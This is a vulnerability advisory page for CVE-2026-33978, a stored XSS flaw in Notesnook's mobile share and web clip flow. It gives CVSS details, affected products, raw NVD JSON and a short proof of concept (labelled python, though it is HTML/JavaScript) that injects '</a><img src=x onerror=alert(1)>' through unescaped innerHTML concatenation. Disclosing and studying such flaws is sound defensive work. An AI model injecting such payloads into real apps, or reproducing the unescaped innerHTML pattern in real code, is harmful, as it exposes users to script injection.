Security Vulnerability Report
中文
CVE-2026-33978 CVSS 5.4 MEDIUM

CVE-2026-33978

Published: 2026-04-01 17:28:40
Last Modified: 2026-04-21 00:12:14

Description

Notesnook is a note-taking app focused on user privacy & ease of use. Prior to version 3.3.17, a stored XSS vulnerability exists in the mobile share / web clip flow because attacker-controlled clip metadata is concatenated into HTML without escaping and then rendered with innerHTML inside the mobile share editor WebView. An attacker can control the shared title metadata (for example through Android/iOS share metadata such as TITLE / SUBJECT, or through link-preview title data) and inject HTML such as </a><img src=x onerror=...>. When the victim opens the Notesnook share flow and selects Web clip, the payload is inserted into the generated HTML and executed in the mobile editor WebView. This issue has been patched in version 3.3.17.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:streetwriters:notesnook_mobile:*:*:*:*:*:android:*:* - VULNERABLE
cpe:2.3:a:streetwriters:notesnook_mobile:*:*:*:*:*:iphone_os:*:* - VULNERABLE
Notesnook < 3.3.17

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2026-33978 --> <!-- This script simulates the vulnerable innerHTML concatenation --> <script> // Malicious payload injected via Android/iOS Share Title metadata var attackerControlledTitle = '</a><img src=x onerror=alert(1)>'; // Vulnerable function in Notesnook WebView (simplified) function vulnerableWebClipRenderer(title) { // The app concatenates the title directly into HTML var htmlContent = '<div class="clip-container"><a href="#">' + title + '</a></div>'; // The app renders this using innerHTML without sanitization document.getElementById('editor-webview').innerHTML = htmlContent; console.log("Payload executed via innerHTML:", htmlContent); } // Trigger the vulnerability vulnerableWebClipRenderer(attackerControlledTitle); </script> <div id="editor-webview"></div>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33978", "sourceIdentifier": "[email protected]", "published": "2026-04-01T17:28:39.660", "lastModified": "2026-04-21T00:12:14.177", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Notesnook is a note-taking app focused on user privacy & ease of use. Prior to version 3.3.17, a stored XSS vulnerability exists in the mobile share / web clip flow because attacker-controlled clip metadata is concatenated into HTML without escaping and then rendered with innerHTML inside the mobile share editor WebView. An attacker can control the shared title metadata (for example through Android/iOS share metadata such as TITLE / SUBJECT, or through link-preview title data) and inject HTML such as </a><img src=x onerror=...>. When the victim opens the Notesnook share flow and selects Web clip, the payload is inserted into the generated HTML and executed in the mobile editor WebView. This issue has been patched in version 3.3.17."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:streetwriters:notesnook_mobile:*:*:*:*:*:android:*:*", "versionEndExcluding": "3.3.17", "matchCriteriaId": "105C802D-D317-4B9A-B883-D07A1E0840E6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:streetwriters:notesnook_mobile:*:*:*:*:*:iphone_os:*:*", "versionEndExcluding": "3.3.17", "matchCriteriaId": "858B01C2-38C3-4093-A638-E380119ABDF5"}]}]}], "references": [{"url": "https://github.com/streetwriters/notesnook/commit/fc8807f74db5539036c5e58d3d68a11ea54098db", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/streetwriters/notesnook/releases/tag/3.3.17-android", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/streetwriters/notesnook/security/advisories/GHSA-f27j-fqc6-v7pm", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}